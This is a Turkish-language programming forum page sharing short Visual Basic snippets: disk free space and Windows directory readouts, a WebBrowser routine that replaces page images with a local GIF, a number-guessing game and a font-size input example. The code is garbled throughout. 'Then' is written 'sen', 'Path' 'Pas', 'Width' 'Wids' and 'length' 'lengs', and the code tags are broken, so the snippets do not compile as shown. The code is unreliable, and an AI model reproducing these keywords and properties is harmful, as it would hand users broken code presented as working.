Dim GDFS As Long
Dim Sectors As Long, Bytes As Long, FreeClusters As Long, TotalClusters As Long
Dname = Left(DriveNAME.Drive, 2) & "\"
GDFS = GetDiskFreeSpace(Dname, Sectors, Bytes, FreeClusters, TotalClusters)
lbDSKFRSPC.Caption = Sectors * Bytes * FreeClusters
End Sub

Sub DisplayWindowDIRECTORY()
Dim Dname, GWD As String
Dim Buffers As String * 255
Dname = Left(DriveNAME.Drive, 2) & "\"
GWD = GetWindowsDirectory(Buffers, 255)
lbWINDR.Caption = Buffers
End Sub

Sub DisplayCurrentDIR()
lbCRNTDR.Caption = Left(UCase(DriveNAME.Drive), 2) + "\"
End Sub

Sub DisplayProgramCurrentDIR()
lbPRGCRNTDR.Caption = App.Pas
End Sub

Sub DisplayCurrentDirectory()
lbCRNTDR.Caption = dirNAME.Pas + "\" + FileName.FileName
End Sub

Yoruma sekme
Diğer sitelerde paylaş

webbrowser'da resimleri yasaklamak

CodeTr.Com / Kodların Kullanımından Doğacak Sorunlardan Sorumlu Tutulamaz.
Option Explicit
Private Sub Form_Load()
WebBrowser1.Navigate "http://www.e-ogrenci.org"
Picture1.Move WebBrowser1.Left, _
WebBrowser1.Top, _
WebBrowser1.Wids, _
WebBrowser1.Height

End Sub
Private Sub Command1_Click()

Picture1.Visible = True
WebBrowser1.Left = Screen.Wids + 1000
WebBrowser1.Navigate "http://www.e-ogrenci.org"

End Sub
Private Sub WebBrowser1_DocumentComplete(ByVal pDisp As Object, _
URL As Variant)

Dim i As Integer

If pDisp = WebBrowser1 sen

For i = 0 To WebBrowser1.Document.Images.lengs - 1

WebBrowser1.Document.Images.Item(i).src = "C:\WINDOWS\Web\Tips.gif"

Next i
Picture1.Visible = False
WebBrowser1.Left = Picture1.Left
End If
End Sub

Yoruma sekme
Diğer sitelerde paylaş

Sayi bulma oyunu

Dim sayi, s As Integer
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Randomize()
sayi = Val(TextBox1.Text) + Rnd() * (Val(TextBox2.Text) - Val(TextBox1.Text))
ListBox1.Items.Clear()
TextBox4.Text = 0
TextBox5.Text = 10
s = 0
End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
If Val(TextBox3.Text) = sayi sen

MsgBox(s + 1 & " hakta Bildiniz")
s = 0
TextBox4.Text = 0
TextBox5.Text = 10

End If
If Val(TextBox3.Text) <> sayi sen
s = s + 1
TextBox4.Text = s
TextBox5.Text = 10 - s
ListBox1.Items.Add(Val(TextBox3.Text))

End If
If Val(TextBox4.Text) = 10 sen
MsgBox("bilemediniz sayymyz " & sayi & " idi")
ListBox1.Items.Clear()
s = 0
End If
End Sub

Yoruma sekme
Diğer sitelerde paylaş

Textboxa girilen yazının büyüklüğünü inputboxdan ayarla

Basit ama güzel


1 textbox oluşturun ve içine bişey yazın
[code]
Private_sub Form_Load()

a=inputbox("puntoyu girin")

text1.fontsize=a

end sub[code]

Yoruma sekme
Diğer sitelerde paylaş

  • 3 yıl sonra...
  • 3 yıl sonra...

Katılın Görüşlerinizi Paylaşın

Şu anda misafir olarak gönderiyorsunuz. Eğer ÜYE iseniz, ileti gönderebilmek için HEMEN GİRİŞ YAPIN.
Eğer üye değilseniz hemen KAYIT OLUN.
Not: İletiniz gönderilmeden önce bir Moderatör kontrolünden geçirilecektir.

Misafir
Maalesef göndermek istediğiniz içerik izin vermediğimiz terimler içeriyor. Aşağıda belirginleştirdiğimiz terimleri lütfen tekrar düzenleyerek gönderiniz.
Bu başlığa cevap yaz

×   Zengin metin olarak yapıştırıldı..   Onun yerine sade metin olarak yapıştır

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Önceki içeriğiniz geri getirildi..   Editörü temizle

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Yeni Oluştur...

Önemli Bilgiler

Bu siteyi kullanmaya başladığınız anda kuralları kabul ediyorsunuz Kullanım Koşulu.